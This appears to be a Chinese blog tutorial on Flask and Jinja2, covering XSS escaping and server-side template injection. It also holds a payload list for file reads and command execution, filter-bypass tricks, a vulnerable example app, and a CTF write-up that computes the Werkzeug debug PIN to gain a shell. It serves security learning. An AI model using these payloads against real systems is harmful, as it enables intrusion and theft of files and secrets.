Python Flask SSTI 漏洞

Flask 框架的 XSS 和 SSTI 漏洞

Flask 是什么

Flask 是一个使用 Python 编写的轻量级 Web 应用框架,模板引擎使用 Jinja2

Flask 的基本使用

安装 Flask 库

1
python3 -m pip install flask

第一个 Hello, world!

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask

app = Flask(__name__)

@app.route('/')
def Hello_world():
return 'Hello, world!'

if __name__ == '__main__':
# 若在 IDE 里调试,把 debug 设置为 False
app.run(debug=True, port=8080)

内容解释:

  1. 第一行的 import:flask 是安装的库,Flask 是 flask 库里的一个类

  2. 第三行:实例化一个 Flask 类,命名为 app

  3. 第五行:使用一个函数装饰器来修饰函数 hello_world(),route() 里的是网站的根目录

  4. 第十一行:运行应用,参数表如下

    编号 参数 描述
    1 host 监听的主机名。默认为 127.0.0.1(localhost)。 设置为 0.0.0.0 使服务器在外部可用
    2 port 监听端口号,默认为 5000
    3 debug 默认为 false。 如果设置为 true,则提供调试信息
    4 options 被转发到底层的 Werkzeug 服务器

模板 jinja2 相关知识

  • 在 jinja2 中,存在四种语句:控制结构{% %}、变量取值{{}}、注释``、行语句# ... ##
  • jinja2 模板中使用{{}}语法表示一个变量,它是一种特殊的占位符。当利用 jinja2 进行渲染的时候,它会把这些特殊的占位符进行填充 / 替换,jinja2 支持 Python 中所有的 Python 数据类型比如列表、字段、对象等
  • 在 jinja2 引擎中,{{}} 不仅仅是变量标示符,也能执行一些简单的表达式
  • 模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML 代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用

使用 HTML 模板

第一种:直接输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask

app = Flask(__name__)

@app.route('/')
def Hello_world():
user = {'name': 'Apple'}
return '''
<html>
<head>
<title>Home Page</title>
</head>
<body>
<h1>Hello, ''' + user['name'] + '''</h1>
</body>
</html>
'''

if __name__ == '__main__':
app.run(debug=True, port=8080)

这样生成 HTML 代码有很多弊端,因此 flask 使用 jinja2 模板引擎来分离数据和展示层

第二种:使用模板

首先app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

@app.route('/')
def Hello_world():
# 获取 Get 参数
name = request.args.get('name')
# 调用函数进行渲染并返回结果
return render_template('index.html', name=name)

if __name__ == '__main__':
app.run(debug=True, port=8080)

模板templates/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Flask</title>
</head>

<body>
<!--模板控制条件语句-->
{% if name %}
<h2>Hello, {{ name }}</h2>
{% else %}
<h2>Hello</h2>
{% endif %}
</body>

</html>

模板控制语句

第一种:条件控制

使用格式如下:

1
2
3
4
5
6
7
{% if 条件1 %}
语句块1
{% elif 条件2 %}
语句块2
{% else %}
不符合所有条件
{% endif %}

举一个实例:

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# app.py

from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

@app.route('/')
def Hello_world():
name = request.args.get('name')
return render_template('index.html', name=name)

if __name__ == '__main__':
app.run(debug=False, port=8080)

./templates/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Flask</title>
</head>

<body>
{% if name %}
<h2>Hello, {{ name }}</h2>
{% else %}
<h2>Fuck! Tell me your name!</h2>
{% endif %}
</body>

</html>
第二种:循环控制

使用格式如下:

1
2
3
4
5
{% for item in list %}
list 不空时执行
{% else %}
list 为空时执行的默认语句块
{% endfor %}

举一个实例:

app.py

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
from flask import render_template

app = Flask(__name__)

@app.route('/')
def Hello_world():
list_in = ['Job', 'Nike', '???']
return render_template('index.html', list_in=list_in)

if __name__ == '__main__':
app.run(debug=False, port=8080)

./templates/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Flask</title>
</head>

<body>
{% for item in list_in %}
<p>Hello, {{ item }}</p>
{% else %}
<p>{{ "You can't get here" }}</p>
{% endfor %}
</body>

</html>
第三种:过滤器

过滤器可以对变量加以滤器修改。过滤器通过管道符号|与变量分隔,并且在括号中可以包含可选参数。一个变量可以链接多个过滤器。一个过滤器的输出可以应用于下一个过滤器。

例如,把hello转大写字母

1
{{ 'hello'|upper }}

常用过滤器:

过滤器 说明
safe 禁止转义,渲染时不会转义特殊字符
capitallize 把首字母转大写,其他的字母转小写
lower 把所有的字母转小写
upper 把所有字母转大写
title 把每个单词的首字母转大写
trim 去掉首尾空格
striptags 去掉所有的 HTML 标签
join 将多个值拼接成字符串,类似 Python 的 join() 函数
replace 替换字符串的值
round 对数字四舍五入
int 转换成int类型

还存在列表过滤器,可对列表进行索引,排序,求和,求长等操作。还可以自定义过滤器详见:Jinja2常用模板语言(条件判断if,循环遍历for,过滤器)

Flask 中的 XSS 漏洞

在 Flask 中,使用render_template_string(从字符串渲染)或render_template(从文件渲染)渲染出来的 HTML 并不会出现 xss,例如上文的代码(使用 jinja2 模板)并不会出现 xss,同样下面的代码也不会出现 xss:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def main():
return '<a href="/xss">Test XSS</a>'

@app.route('/xss', methods=['GET', 'POST'])
def xss():
template = '''
<form action="/xss" method="post">
<input type="text" name="input"/></br>
<input type="submit" value="Submit"/>
</form>
</br>
{{ _input }}
'''
if request.method == 'GET':
return render_template_string(template)
else:
return render_template_string(template, _input=request.form["input"])


if __name__ == '__main__':
app.run(host='127.0.0.1', port=8080)

这是因为{{}}中的内容被 jinja 中的过滤了的缘故,特殊的字符被转义了,抓包或者查看 HTML 原始数据可以验证这一点:

1
&lt;script&gt;alert(0)&lt;/script&gt;
显示结果 描述 实体名称 实体编号
< 小于号 &lt; &#60;
> 大于号 &gt; &#62;
& 和号 &amp; &#38;
引号 &quot; &#34;

详细分析见:XSS防御——从Flask源码看XSS防御

Flask 中的 SSTI 漏洞

造成 SSTI 的原因

SSTI 服务端模板注入,SSTI 主要为 Python 的一些框架 jinja2、mako、tornado、django,PHP 框架 smarty、twig,Java 框架 jade、velocity 等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

漏洞示例

将参数当字符串来渲染并使用了传入的参数时,可能会导致模板渲染可控,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, request, render_template_string
app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def test():
code = request.args.get('test')
template = '<html>%s</html>' % code
return render_template_string(template)


if __name__ == '__main__':
app.run(debug=False, port=8080)

输入测试参数/?test={{7*7}},就会发现渲染被控制了,输出为49。如果使用模板来渲染,就不会出现这样的情况。

Flask 中也有一些全局变量,使用?test={{config}}就可以查看到,常用的配置及其含义:

1
2
3
4
5
6
7
ENV:测试环境
production:生产环境
development:开发环境
DEBUG:是否开启 debug 模式
SECRET_KEY:密钥字符串
JSON_AS_ASCII:是否以 ascii 编码展示响应报文
JSONIFY_MIMETYPE:响应报文类型

漏洞的利用

利用的方法:进行文件操作或者进行命令的执行

利用的思路:找到父类 <type ‘object’> –> 寻找子类 subclasses() –> 找关于 命令执行 或者 文件操作 的模块

构造继承链的思路是:

  1. 随便找一个内置类对象用 class 拿到他所对应的类
  2. 用 bases 拿到基类(<class ‘object’>)
  3. 用 subclasses () 拿到子类列表
  4. 在子类列表中直接寻找可以利用的类
1
2
3
4
5
6
__class__         返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量,与 func_globals 等价
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如 eval, exec, open 等等

一般情况下使用脚本找可利用类的索引,脚本大概是这样(针对题目,要随实际情况变化):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import re
import html
import time

index = 0
# 粗略估计下 subprocess.Popen 的位置,就不从 0 开始了
for i in range(200, 1000):
try:
url = "http://xxx/"
data = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) + "]}}"

url = url + "?name=" + data

time.sleep(0.2)
r = requests.get(url)
r.encoding = 'utf-8'

res = re.findall("I &hearts; Flask & (.*)", r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)

if "subprocess.Popen" in res:
index = i
break
except:
continue
print("index of subprocess.Popen:" + str(index))

还有一种脚本(针对题目,它也要随实际情况改写):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import re
import requests
from bs4 import BeautifulSoup

url = "http://xxx/"
data = "{{''.__class__.__mro__[1].__subclasses__()}}"

url = url + "?name=" + data

r = requests.get(url)
r.encoding="utf-8"
soup = BeautifulSoup(r.text, "lxml")

item = soup.find('div', {"class": "content-section"}).text
item = re.sub('\[|\]', '', item)
item = re.sub(' I ♥ Flask & ', '', item)
item = item.split(',')

print(item.index(" <class 'subprocess.Popen'>"))

常用 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
python3
文件读取:{{ ().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('file').read() }}
命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
命令执行:{{ lipsum.__globals__.__getitem__["os"].popen("whoami").read() }}

python2
文件读取:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
文件读取:{{ ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines }}
文件读取:{{ ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read() }}
写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
命令执行:{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
命令执行:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code') }}
{{ config.from_pyfile('/tmp/owned.cfg') }}

python2、python3 共有,可命令执行:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

常用绕过

  1. 过滤关键词,使用 Base64 绕过

    1
    2
    3
    4
    5
    6
    7
    8
    # 对输入有关键词的过滤
    # {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

    # 对输出有关键词的过滤
    # {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read().encode("base64")')}}
  2. 过滤[]等括号

    1
    2
    # 使用 gititem 绕过,如原 poc:{{ "".class.bases[0] }}
    {{ "".class.bases.getitem(0) }}
  3. 过滤了 subclasses,拼凑法

    1
    2
    # 原 poc:{{ "".class.bases[0].subclasses() }}
    {{ "".class.bases[0]['subcla'+'sses'] }}
  4. 过滤 class,使用 session

    1
    2
    3
    4
    5
    poc:{{ session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118] }}
    # 多个 bases[0] 是因为一直在向上找 object 类,使用 mro 就会很方便
    {{ session['__cla'+'ss__'].__mro__[12] }}
    # 或者
    request{{ ['__cl'+'ass__'].__mro__[12] }}
  5. timeit 的使用

    1
    2
    3
    4
    5
    import timeit
    timeit.timeit("__import__('os').system('dir')",number=1)

    import platform
    print platform.popen('dir').read()
  6. 其他

    1
    2
    3
    4
    5
    6
    7
    8
    9
    '''
    使用 attr 过滤器,对应 do_attr
    即用来获取类的属性 由 getattr 函数来实现 {{config|attr("__class__")}}
    __getitem__ 方法返回键对应值,attr 过滤器获得类属性
    '''

    {{ get_flashed_messages }}
    {{ url_for }}
    {{% print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr(”read“)() %}}

一道 Flask 的 SSTI

题目

题目地址:[GYCTF2020]FlaskApp

打开题目场景是在线的 Base64 加密和解密,使用 Flask 搭建,在尝试解密时随便输入字符就会报错,读取到一部分的源码:

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

来试探下有没有 SSTI:先试了试{{3*3}}先编码,再在网站解码,显示no no no !!,结合上面的代码就知道被过滤掉了,再试了试{{3+3}},解码出来是 6,证明存在 SSTI,先来读取一下 waf 的代码

读取源码

1
2
3
4
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}

写成一行:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

加密解密读取到 waf 部分代码:

1
2
3
4
5
6
7
8
9
10
11
def waf(str): 
black_list = [ &
#34;flag&# 34;, & #34;os&# 34;, & #34;system&# 34;, &
#34;popen&# 34;, & #34;import&# 34;, & #34;eval&# 34;, &
#34;chr&# 34;, & #34;request&# 34;, & #34;subprocess&# 34;, &
#34;commands&# 34;, & #34;socket&# 34;, & #34;hex&# 34;, &
#34;base64&# 34;, & #34;*&# 34;, & #34;?&# 34;
]
for x in black_list:
if x in str.lower():
return 1@ app.route( &#39;/hint&# 39;, methods = [ & #39;GET&# 39;])

字符串拼接绕过

从 black_list 得知了过滤的关键字,因为有 lower 方法,所以不能进行大小写、base64、hex 等方法进行绕过

先来读取下目录文件:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

编码解码,看到了this_is_the_flag.txt,直接来读取:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

编码解码得到 flag,还可以不使用字符串拼接来绕过,使用倒序输出来绕过(’xxx’[::-1]):

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}

同样编码解码得到 flag

利用 PIN 码 RCE

通过 PIN 码生成机制可知,需要获取如下信息

  1. 服务器运行 flask 所登录的用户名。通过/etc/passwd中可以猜测为 flaskweb 或者 root,此处用的 flaskweb
  2. modname,一般不变就是flask.app
  3. getattr(app, "__name__", app.__class__.__name__),python 该值一般为 Flask,该值一般不变
  4. flask 库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
    当前网络的 mac 地址的十进制数。通过文件/sys/class/net/eth0/address获取(eth0 为网卡名)
  5. 机器的 id:对于非 docker 机每一个机器都会有自已唯一的 id
    Linux:/etc/machine-id/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
    Windows:见链接 Flask debug 模式 PIN 码生成机制安全性研究笔记
    docker:/proc/self/cgroup

首先获取 MAC 地址:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

得到: 02:72:a1:0c:bb:7a再转换为十进制:2691351493498,然后获取机器 id,读取/proc/self/cgroup

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id','r').read() }}{% endif %}{% endfor %}

得到(最开始读取的是/proc/self/cgroup发现后面计算出来的 PIN 一直是错的,换成了/etc/machine-id读出来计算的 PIN 是对的):

1
1408f836b0ca514d796cbf8960e45fa1

计算 PIN 的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hashlib
from itertools import chain

probably_public_bits = [
# username
'flaskweb',
# modname
'flask.app',
# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'Flask',
# getattr(mod, '__file__', None)
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
# str(uuid.getnode()), /sys/class/net/ens33/address
'2691351493498',
# get_machine_id(), /etc/machine-id
'1408f836b0ca514d796cbf8960e45fa1'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

得到:104-593-296,在解码报错页面输入,获得交互式的 Shell,读取 flag

1
2
3
import os
os.popen("ls -l /").read()
os.popen("cat /this_is_the_flag.txt").read()

本文参考链接:

Jinja2常用模板语言

从零学习flask模板注入

GYCTF2020 FlaskApp

Flask 框架及其漏洞学习

Flask开启debug模式等于给黑客留了后门

Flask debug 模式 PIN 码生成机制安全性研究笔记

Jinja2常用模板语言(条件判断if,循环遍历for,过滤器)